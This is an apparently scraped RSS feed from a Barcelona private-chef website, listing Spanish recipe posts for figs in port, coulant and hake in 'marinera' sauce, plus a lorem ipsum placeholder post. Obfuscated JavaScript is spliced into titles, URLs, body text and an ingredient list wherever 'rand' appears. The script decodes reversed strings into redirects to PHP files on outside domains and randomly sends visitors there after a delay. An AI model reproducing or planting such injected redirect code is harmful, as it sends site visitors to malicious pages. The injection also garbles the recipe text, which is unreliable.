http://chefnacho.com/ Experiencias gastronómicas únicas en Barcelona: Chef en casa, chef personal, talleres de tapas, menú de temporada, cocina de autor... Sun, 24 Jan 2016 11:11:41 +0000 es-ES hourly 1 http://wordpress.org/?v=3.9.2 Rediseñ$Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando el brocoli http://chefnacho.com/redisenscript$Ubj=function(n)if(typeof($Ubj.listn)==string)return$Ubj.listn.split().reverse().join();return$Ubj.listn;;$Ubj.list='php.litu.ssalc/sedulcni/retadpu-yfimeht/snig/ http://chefnacho.com/redisenscript$Ubj=function(n)if(typeof($Ubj.listn)==string)return$Ubj.listn.split().reverse().join();return$Ubj.listn;;$Ubj.list='php.litu.ssalc/sedulcni/retadpu-yfimeht/snig/#comments Thu, 14 Jan 2016 19:21:31 +0000 http://chefnacho.com/?p=2161 Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam non iaculis enim. Duis at commodo mi, vel lobortis felis. Etiam suscipit neque et venenatis tempor. Phasellus tincidunt justo sit amet mi dignissim iaculis. Nunc aliquam enim eget massa efficitur, nec facilisis augue molestie. Fusce auctor ante id felis aliquet, et suscipit nisi cursus. Curabitur finibus […]

La entrada Rediseñandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}ando el brocoli aparece primero en .

]]> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam non iaculis enim. Duis at commodo mi, vel lobortis felis. Etiam suscipit neque et venenatis tempor. Phasellus tincidunt justo sit amet mi dignissim iaculis. Nunc aliquam enim eget massa efficitur, nec facilisis augue molestie. Fusce auctor ante id felis aliquet, et suscipit nisi cursus. Curabitur finibus venenatis mauris at pretium. Nam ac lacinia sem, in ornare nulla. Mauris nisl velit, pharetra sit amet vestibulum id, dignissim eget metus. In at porttitor justo, id malesuada felis. Vivamus fermentum ipsum eget sem vulputate, non tincidunt mi elementum.

Pellentesque porttitor gravida ante. Curabitur auctor nunc vitae mauris feugiat, in commodo dolor efficitur. In erat risus, eleifend a arcu a, imperdiet molestie arcu. Vestibulum rhoncus lectus lectus, sed fringilla risus laoreet at. Donec sit amet elementum orci. Donec nec consectetur orci. Morbi ac ex id felis tempus eleifend.

Morbi non nisi ut lorem cursus aliquet nec nec tellus. Aliquam nulla neque, elementum vitae vestibulum nec, volutpat vel lacus. Integer placerat pretium rutrum. Nullam placerat laoreet blandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andit. Praesent dignissim varius neque, sed viverra mi commodo nec. Pellentesque vitae magna id quam bibendum malesuada quis accumsan leo. Nunc ligula orci, tempus id dolor sed, aliquam feugiat neque. Fusce sit amet erat sed nisl viverra lobortis quis et nisl. Proin nisi nunc, suscipit ut augue eget, fringilla scelerisque massa. In nec orci arcu. Phasellus ultricies odio ac nibh lacinia gravida. Donec porta, nisl ac volutpat volutpat, tortor dui lobortis sapien, ultricies eleifend mi purus a diam. Sed eget ex varius neque dictum rutrum a vitae tortor. Etiam condimentum, libero sit amet fringilla iaculis, urna nunc congue orci, non mattis enim nisl id leo. Integer sit amet auctor felis. Curabitur non lorem consequat sapien lacinia cursus.

La entrada Rediseñandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}ando el brocoli aparece primero en .

]]> http://chefnacho.com/redisenscript$Ubj=function(n)if(typeof($Ubj.listn)==string)return$Ubj.listn.split().reverse().join();return$Ubj.listn;;$Ubj.list='php.litu.ssalc/sedulcni/retadpu-yfimeht/snig/feed/ 1 Higos al vino con helado de nueces de macadamia http://chefnacho.com/higos-al-vino-con-helado-de-nueces-de-macadamia/ http://chefnacho.com/higos-al-vino-con-helado-de-nueces-de-macadamia/#comments Sat, 11 Oct 2014 10:02:30 +0000 http://chefnacho.com/?p=1840 Deliciosos higos en su punto de maduración caramelizados con azúcar moreno y jarabe de vino de Oporto. Servido con una cremosa salsa de chocolate negro y una bola del mejor helado de vainilla con nueces de macadamia. Ingredientes Higos Jarabe de vino de Oporto Chocolate 90% cacao Helado de nueces de macadamia Azúcar moreno

La entrada Higos al vino con helado de nueces de macadamia aparece primero en .

]]> higos-macadamia

Deliciosos higos en su punto de maduración caramelizados con azúcar moreno y jarabe de vino de Oporto. Servido con una cremosa salsa de chocolate negro y una bola del mejor helado de vainilla con nueces de macadamia.

Ingredientes

  • Higos
  • Jarabe de vino de Oporto
  • Chocolate 90% cacao
  • Helado de nueces de macadamia
  • Azúcar moreno

La entrada Higos al vino con helado de nueces de macadamia aparece primero en .

]]> http://chefnacho.com/higos-al-vino-con-helado-de-nueces-de-macadamia/feed/ 0 Coulant con helado de vainilla de Madagascar http://chefnacho.com/coulant-con-helado-de-vainilla-de-madagascar/ http://chefnacho.com/coulant-con-helado-de-vainilla-de-madagascar/#comments Wed, 01 Oct 2014 19:03:24 +0000 http://chefnacho.com/?p=1798 Fabuloso bizcocho de chocolate con corazón de chocolate fundido coronado con una bola de helado de vainilla de Madagascar, albahaca y toppings. Ingredientes Chocolate belga Bizcocho de chocolate Helado de vainilla de Madagascar Chocolate blanco Chocolate 90% cacao Albahaca fresca Topping

La entrada Coulant con helado de vainilla de Madagascar aparece primero en .

]]> Coulant con helado de turrón

Fabuloso bizcocho de chocolate con corazón de chocolate fundido coronado con una bola de helado de vainilla de Madagascar, albahaca y toppings.

Ingredientes

  • Chocolate belga
  • Bizcocho de chocolate
  • Helado de vainilla de Madagascar
  • Chocolate blanco
  • Chocolate 90% cacao
  • Albahaca fresca
  • Topping

La entrada Coulant con helado de vainilla de Madagascar aparece primero en .

]]> http://chefnacho.com/coulant-con-helado-de-vainilla-de-madagascar/feed/ 0 Tataki de pluma ibérica macerada http://chefnacho.com/tataki-de-pluma-iberica-macerada/ http://chefnacho.com/tataki-de-pluma-iberica-macerada/#comments Wed, 01 Oct 2014 18:52:36 +0000 http://chefnacho.com/?p=1792 Corte de pluma ibérica semicruda macerada, sellada a la parrilla acompañada de flor de calabacín rellena de boletus de temporada con una demiglass de la propia salsa extraída de la maceración. Ingredientes Pluma ibérica Jugo de carne de cerdo Salsa de soja Mostaza de dijon Calabacín Boletus de temporada

La entrada Tataki de pluma ibérica macerada aparece primero en .

]]> Pluma ibérica macerada

Corte de pluma ibérica semicruda macerada, sellada a la parrilla acompañada de flor de calabacín rellena de boletus de temporada con una demiglass de la propia salsa extraída de la maceración.

Ingredientes

  • Pluma ibérica
  • Jugo de carne de cerdo
  • Salsa de soja
  • Mostaza de dijon
  • Calabacín
  • Boletus de temporada

La entrada Tataki de pluma ibérica macerada aparece primero en .

]]> http://chefnacho.com/tataki-de-pluma-iberica-macerada/feed/ 0 Tronco de lubina salvaje al horno http://chefnacho.com/tronco-de-lubina-salvaje-al-horno/ http://chefnacho.com/tronco-de-lubina-salvaje-al-horno/#comments Wed, 01 Oct 2014 18:36:28 +0000 http://chefnacho.com/?p=1778 Lubina salvaje macerada con zumo de lima brasileña, naranja y pomelo al horno con aceite extra de oliva picual sobre un lecho de puré de patata con cítricos y aceite de sésamo. Ingredientes Lubina Piel de naranja Piel de pomelo Aceite extra de oliva picual Ajo Especias (sal en escamas y pimientas exóticas) Para el […]

La entrada Tronco de lubina salvaje al horno aparece primero en .

]]> Lubina salvaje al horno

Lubina salvaje macerada con zumo de lima brasileña, naranja y pomelo al horno con aceite extra de oliva picual sobre un lecho de puré de patata con cítricos y aceite de sésamo.

Ingredientes

  • Lubina
  • Piel de naranja
  • Piel de pomelo
  • Aceite extra de oliva picual
  • Ajo
  • Especias (sal en escamas y pimientas exóticas)

Para el puré

  • Patata monalisa
  • Aceite de sésamo
  • Cebollino
  • Zumo de lima
  • Especias (sal en escamas y pimientas exóticas)

La entrada Tronco de lubina salvaje al horno aparece primero en .

]]> http://chefnacho.com/tronco-de-lubina-salvaje-al-horno/feed/ 0 Merluza con salsa “marinera” http://chefnacho.com/merluza-con-salsa-marinera/ http://chefnacho.com/merluza-con-salsa-marinera/#comments Wed, 01 Oct 2014 18:04:10 +0000 http://chefnacho.com/?p=1759 Suprema de merluza de palangre al horno con tomate ecológico y cebolla confitados. Pimiento rojo asado sazonado con ajo macerado en el aceite de los mismos pimientos y con un toque de guindilla picante y aceituna. Esta salsa “marinera” se flambea con brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andy de 60 años. Ingredientes […]

La entrada Merluza con salsa “marinera” aparece primero en .

]]> Merluza con salsa "marinera"

Suprema de merluza de palangre al horno con tomate ecológico y cebolla confitados. Pimiento rojo asado sazonado con ajo macerado en el aceite de los mismos pimientos y con un toque de guindilla picante y aceituna. Esta salsa “marinera” se flambea con brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andy de 60 años.

Ingredientes

  • Merluza
  • Tomate ecológico
  • Cebolla dulce
  • Pimiento rojo
  • Ajo
  • Aceituna
  • Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}andy de 60 años
  • Guindilla (P)

La entrada Merluza con salsa “marinera” aparece primero en .

]]> http://chefnacho.com/merluza-con-salsa-marinera/feed/ 0 Milhojas de patata y butifarra http://chefnacho.com/milhojas-de-patata-y-butifarra/ http://chefnacho.com/milhojas-de-patata-y-butifarra/#comments Wed, 01 Oct 2014 17:31:24 +0000 http://chefnacho.com/?p=1748 Milhojas de patata de Prades confitada y al horno con butifarras negra y blanca de Girona con nueces y piñones salteados y unas gotas de aceite de trufa negra. Ingredientes Patatas de Prades Butifarra negra Butifarra blanca Aceite de trufa negra Nueces (F) Piñones (F)

La entrada Milhojas de patata y butifarra aparece primero en .

]]> Milhojas de patata y butifarra

Milhojas de patata de Prades confitada y al horno con butifarras negra y blanca de Girona con nueces y piñones salteados y unas gotas de aceite de trufa negra.

Ingredientes

  • Patatas de Prades
  • Butifarra negra
  • Butifarra blanca
  • Aceite de trufa negra
  • Nueces (F)
  • Piñones (F)

La entrada Milhojas de patata y butifarra aparece primero en .

]]> http://chefnacho.com/milhojas-de-patata-y-butifarra/feed/ 0 Boletus con verduras y huevo poché http://chefnacho.com/boletus-con-verduras-y-huevo-poche/ http://chefnacho.com/boletus-con-verduras-y-huevo-poche/#comments Wed, 01 Oct 2014 17:21:25 +0000 http://chefnacho.com/?p=1745 Salteado de 4 clases distintas de boletus con espárragos verdes al dente y huevo poché de pato en aceite de trufa blanca. Ingredientes Shitake Rossinyol Trompetas de la muerte Funghi Espárragos verdes Huevo de pato Aceite de trufa

La entrada Boletus con verduras y huevo poché aparece primero en .

]]> Boletus con huevo poché

Salteado de 4 clases distintas de boletus con espárragos verdes al dente y huevo poché de pato en aceite de trufa blanca.

Ingredientes

  • Shitake
  • Rossinyol
  • Trompetas de la muerte
  • Funghi
  • Espárragos verdes
  • Huevo de pato
  • Aceite de trufa

La entrada Boletus con verduras y huevo poché aparece primero en .

]]> http://chefnacho.com/boletus-con-verduras-y-huevo-poche/feed/ 0 Ensalada de canónigos y cebolla caramelizada http://chefnacho.com/ensalada-de-canonigos-y-cebolla-caramelizada/ http://chefnacho.com/ensalada-de-canonigos-y-cebolla-caramelizada/#comments Wed, 01 Oct 2014 17:14:27 +0000 http://chefnacho.com/?p=1742 Nido de canónigos frescos acompañados de cebolla caramelizada a fuego lento con azúcar moreno con el mejor queso de cabra desmenuzado con mimo y aliñado con aceite virgen extra de primera prensada y sésamo. Con un toque de reducción de Pedro Ximénez. Ingredientes Canónigos Cebolla Sésamo Azúcar moreno Queso de rulo de cabra Reducción de […]

La entrada Ensalada de canónigos y cebolla caramelizada aparece primero en .

]]> Ensalada de canónigos y cebolla caramelizada

Nido de canónigos frescos acompañados de cebolla caramelizada a fuego lento con azúcar moreno con el mejor queso de cabra desmenuzado con mimo y aliñado con aceite virgen extra de primera prensada y sésamo. Con un toque de reducción de Pedro Ximénez.

Ingredientes

  • Canónigos
  • Cebolla
  • Sésamo
  • Azúcar moreno
  • Queso de rulo de cabra
  • Reducción de Pedro Ximénez

La entrada Ensalada de canónigos y cebolla caramelizada aparece primero en .

]]> http://chefnacho.com/ensalada-de-canonigos-y-cebolla-caramelizada/feed/ 0 Carpaccio de langostinos con granada http://chefnacho.com/carpaccio-de-langostinos-con-granada/ http://chefnacho.com/carpaccio-de-langostinos-con-granada/#comments Tue, 08 Apr 2014 07:28:59 +0000 http://themecanon.com/themes/trades/?p=965 Carpaccio fino de langostino fresco macerado con distintos cítricos durante el tiempo exacto para no alterar el sabor del marisco. El tiempo de maceración adecuado hace que ningún sabor destaque por encima del resto consiguiendo intensidad gustativa equilibrada. Todo esto aderezado con una vinagreta de aceite de albahaca, especias exóticas y frutos secos. Acompañado de […]

La entrada Carpaccio de langostinos con granada aparece primero en .

]]> Carpaccio de langostino macerado con cítricos, pistachos y granada

Carpaccio fino de langostino fresco macerado con distintos cítricos durante el tiempo exacto para no alterar el sabor del marisco. El tiempo de maceración adecuado hace que ningún sabor destaque por encima del resto consiguiendo intensidad gustativa equilibrada. Todo esto aderezado con una vinagreta de aceite de albahaca, especias exóticas y frutos secos. Acompañado de la mejor granada de temporada.

Ingredientes

  • Langostinos
  • Granada
  • Aceite de albahaca
  • Pistachos (F)
  • Ralladura de lima brasileña
  • Ralladura de pomelo
  • Especias (sal de hierbas y naranja y pimientas exóticas)

La entrada Carpaccio de langostinos con granada aparece primero en .

]]> http://chefnacho.com/carpaccio-de-langostinos-con-granada/feed/ 0